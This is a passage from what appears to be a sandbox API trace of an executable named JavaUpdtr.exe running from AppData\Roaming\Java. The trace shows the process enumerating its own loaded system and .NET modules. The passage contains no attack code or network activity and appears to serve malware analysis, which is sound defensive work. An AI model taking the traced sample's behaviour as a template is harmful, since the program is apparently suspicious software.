hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x2672b14, cb=0xc | out: lpmodinfo=0x2672b14*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0115.406] GetLastError () returned 0x514 [0115.406] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0115.406] GetLastError () returned 0x514 [0115.407] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0115.408] GetLastError () returned 0x514 [0115.408] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2673d38, cb=0xc | out: lpmodinfo=0x2673d38*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0115.408] GetLastError () returned 0x514 [0115.409] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0115.409] GetLastError () returned 0x514 [0115.409] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0115.410] GetLastError () returned 0x514 [0115.410] CloseHandle (hObject=0x200) returned 1 [0115.410] GetLastError () returned 0x514 [0115.436] lstrlenW (lpString="䅁") returned 1 [0115.516] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x7469e0, nSize=0x80 | out: lpBuffer="C:\\Windows") returned 0xa [0115.516] GetLastError () returned 0x7f [0115.642] GetCurrentProcessId () returned 0x4e8 [0115.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.642] GetLastError () returned 0x7f [0115.642] EnumProcessModules (in: hProcess=0x200, lphModule=0x270e510, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x270e510, lpcbNeeded=0x31c9a8) returned 1 [0115.643] GetLastError () returned 0x7f [0115.643] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x270e650, cb=0xc | out: lpmodinfo=0x270e650*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.643] GetLastError () returned 0x7f [0115.643] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.643] GetLastError () returned 0x7f [0115.643] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.643] GetLastError () returned 0x7f [0115.643] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x270f7b4, cb=0xc | out: lpmodinfo=0x270f7b4*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.644] GetLastError () returned 0x7f [0115.644] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.644] GetLastError () returned 0x7f [0115.644] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.644] GetLastError () returned 0x7f [0115.644] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x27108a8, cb=0xc | out: lpmodinfo=0x27108a8*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.644] GetLastError () returned 0x7f [0115.645] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.645] GetLastError () returned 0x7f [0115.645] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.645] GetLastError () returned 0x7f [0115.645] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x27119a4, cb=0xc | out: lpmodinfo=0x27119a4*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.645] GetLastError () returned 0x7f [0115.646] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.646] GetLastError () returned 0x7f [0115.646] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.646] GetLastError () returned 0x7f [0115.646] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x2712aa8, cb=0xc | out: lpmodinfo=0x2712aa8*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.646] GetLastError () returned 0x7f [0115.646] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.647] GetLastError () returned 0x7f [0115.647] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.647] GetLastError () returned 0x7f [0115.647] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2713be4, cb=0xc | out: lpmodinfo=0x2713be4*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.648] GetLastError () returned 0x7f [0115.648] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.648] GetLastError () returned 0x7f [0115.648] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.648] GetLastError () returned 0x7f [0115.649] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2714ce8, cb=0xc | out: lpmodinfo=0x2714ce8*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.649] GetLastError () returned 0x7f [0115.649] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.649] GetLastError () returned 0x7f [0115.649] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.649] GetLastError () returned 0x7f [0115.649] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x2715de4, cb=0xc | out: lpmodinfo=0x2715de4*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.650] GetLastError () returned 0x7f [0115.650] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.650] GetLastError () returned 0x7f [0115.650] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.651] GetLastError () returned 0x7f [0115.651] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x2716ee0, cb=0xc | out: lpmodinfo=0x2716ee0*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.651] GetLastError () returned 0x7f [0115.651] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.651] GetLastError () returned 0x7f [0115.651] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.652] GetLastError () returned 0x7f [0115.652] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x271802c, cb=0xc | out: lpmodinfo=0x271802c*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.652] GetLastError () returned 0x7f [0115.652] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.652] GetLastError () returned 0x7f [0115.652] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.653] GetLastError () returned 0x7f [0115.653] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x2719128, cb=0xc | out: lpmodinfo=0x2719128*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.653] GetLastError () returned 0x7f [0115.653] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.653] GetLastError () returned 0x7f [0115.654] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.654] GetLastError () returned 0x7f [0115.654] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x271a22c, cb=0xc | out: lpmodinfo=0x271a22c*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.654] GetLastError () returned 0x7f [0115.654] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.655] GetLastError () returned 0x7f [0115.655] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.655] GetLastError () returned 0x7f [0115.655] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x271b364, cb=0xc | out: lpmodinfo=0x271b364*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.655] GetLastError () returned 0x7f [0115.655] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.656] GetLastError () returned 0x7f [0115.656] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.656] GetLastError () returned 0x7f [0115.656] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x271c460, cb=0xc | out: lpmodinfo=0x271c460*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.657] GetLastError () returned 0x7f [0115.657] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.657] GetLastError () returned 0x7f [0115.658] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.658] GetLastError () returned 0x7f [0115.659] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x271d554, cb=0xc | out: lpmodinfo=0x271d554*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.659] GetLastError () returned 0x7f [0115.659] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.659] GetLastError () returned 0x7f [0115.660] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.660] GetLastError () returned 0x7f [0115.660] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x271e650, cb=0xc | out: lpmodinfo=0x271e650*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.661] GetLastError () returned 0x7f [0115.661] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0115.661] GetLastError () returned 0x7f [0115.661] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0115.662] GetLastError () returned 0x7f [0115.662] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x271f73c, cb=0xc | out: lpmodinfo=0x271f73c*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0115.662] GetLastError () returned 0x7f [0115.662] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0115.662] GetLastError () returned 0x7f [0115.663] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0115.663] GetLastError () returned 0x7f [0115.663] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x27208c0, cb=0xc | out: lpmodinfo=0x27208c0*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0115.663] GetLastError () returned 0x7f [0115.664] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0115.664] GetLastError () returned 0x7f [0115.664] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0115.665] GetLastError () returned 0x7f [0115.665] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x27219b4, cb=0xc | out: lpmodinfo=0x27219b4*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0115.665] GetLastError () returned 0x7f [0115.665] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0115.666] GetLastError () returned 0x7f [0115.666] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0115.666] GetLastError () returned 0x7f [0115.666] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2722aa8, cb=0xc | out: lpmodinfo=0x2722aa8*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0115.667] GetLastError () returned 0x7f [0115.667] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0115.668] GetLastError () returned 0x7f [0115.668] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0115.670] GetLastError () returned 0x7f [0115.670] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2723ba4, cb=0xc | out: lpmodinfo=0x2723ba4*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0115.670] GetLastError () returned 0x7f [0115.671] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0115.671] GetLastError () returned 0x7f [0115.671] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0115.672] GetLastError () returned 0x7f [0115.672] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x2724cdc, cb=0xc | out: lpmodinfo=0x2724cdc*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0115.672] GetLastError () returned 0x7f [0115.672] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0115.673] GetLastError () returned 0x7f [0115.673] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0115.673] GetLastError () returned 0x7f [0115.673] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x2725e70, cb=0xc | out: lpmodinfo=0x2725e70*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0115.674] GetLastError () returned 0x7f [0115.674] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0115.674] GetLastError () returned 0x7f [0115.675] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0115.675] GetLastError () returned 0x7f [0115.675] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x2726f6c, cb=0xc | out: lpmodinfo=0x2726f6c*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0115.676] GetLastError () returned 0x7f [0115.676] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0115.676] GetLastError () returned 0x7f [0115.676] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0115.677] GetLastError () returned 0x7f [0115.677] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x2728060, cb=0xc | out: lpmodinfo=0x2728060*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0115.678] GetLastError () returned 0x7f [0115.678] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0115.679] GetLastError () returned 0x7f [0115.679] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0115.680] GetLastError () returned 0x7f [0115.680] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x272915c, cb=0xc | out: lpmodinfo=0x272915c*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0115.681] GetLastError () returned 0x7f [0115.681] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0115.682] GetLastError () returned 0x7f [0115.682] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0115.683] GetLastError () returned 0x7f [0115.683] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x272a2f4, cb=0xc | out: lpmodinfo=0x272a2f4*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0115.683] GetLastError () returned 0x7f [0115.683] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0115.684] GetLastError () returned 0x7f [0115.684] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0115.685] GetLastError () returned 0x7f [0115.685] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x272b3f0, cb=0xc | out: lpmodinfo=0x272b3f0*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0115.686] GetLastError () returned 0x7f [0115.686] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0115.687] GetLastError () returned 0x7f [0115.687] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0115.688] GetLastError () returned 0x7f [0115.688] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x272c528, cb=0xc | out: lpmodinfo=0x272c528*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0115.689] GetLastError () returned 0x7f [0115.689] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0115.690] GetLastError () returned 0x7f [0115.690] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0115.691] GetLastError () returned 0x7f [0115.691] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x272d6b4, cb=0xc | out: lpmodinfo=0x272d6b4*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0115.691] GetLastError () returned 0x7f [0115.691] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0115.692] GetLastError () returned 0x7f [0115.692] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0115.693] GetLastError () returned 0x7f [0115.693] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x272e870, cb=0xc | out: lpmodinfo=0x272e870*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0115.693] GetLastError () returned 0x7f [0115.693] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0115.694] GetLastError () returned 0x7f [0115.694] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0115.695] GetLastError () returned 0x7f [0115.695] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x272fa54, cb=0xc | out: lpmodinfo=0x272fa54*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0115.695] GetLastError () returned 0x7f [0115.695] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0115.696] GetLastError () returned 0x7f [0115.696] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0115.697] GetLastError () returned 0x7f [0115.697] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x2730bf4, cb=0xc | out: 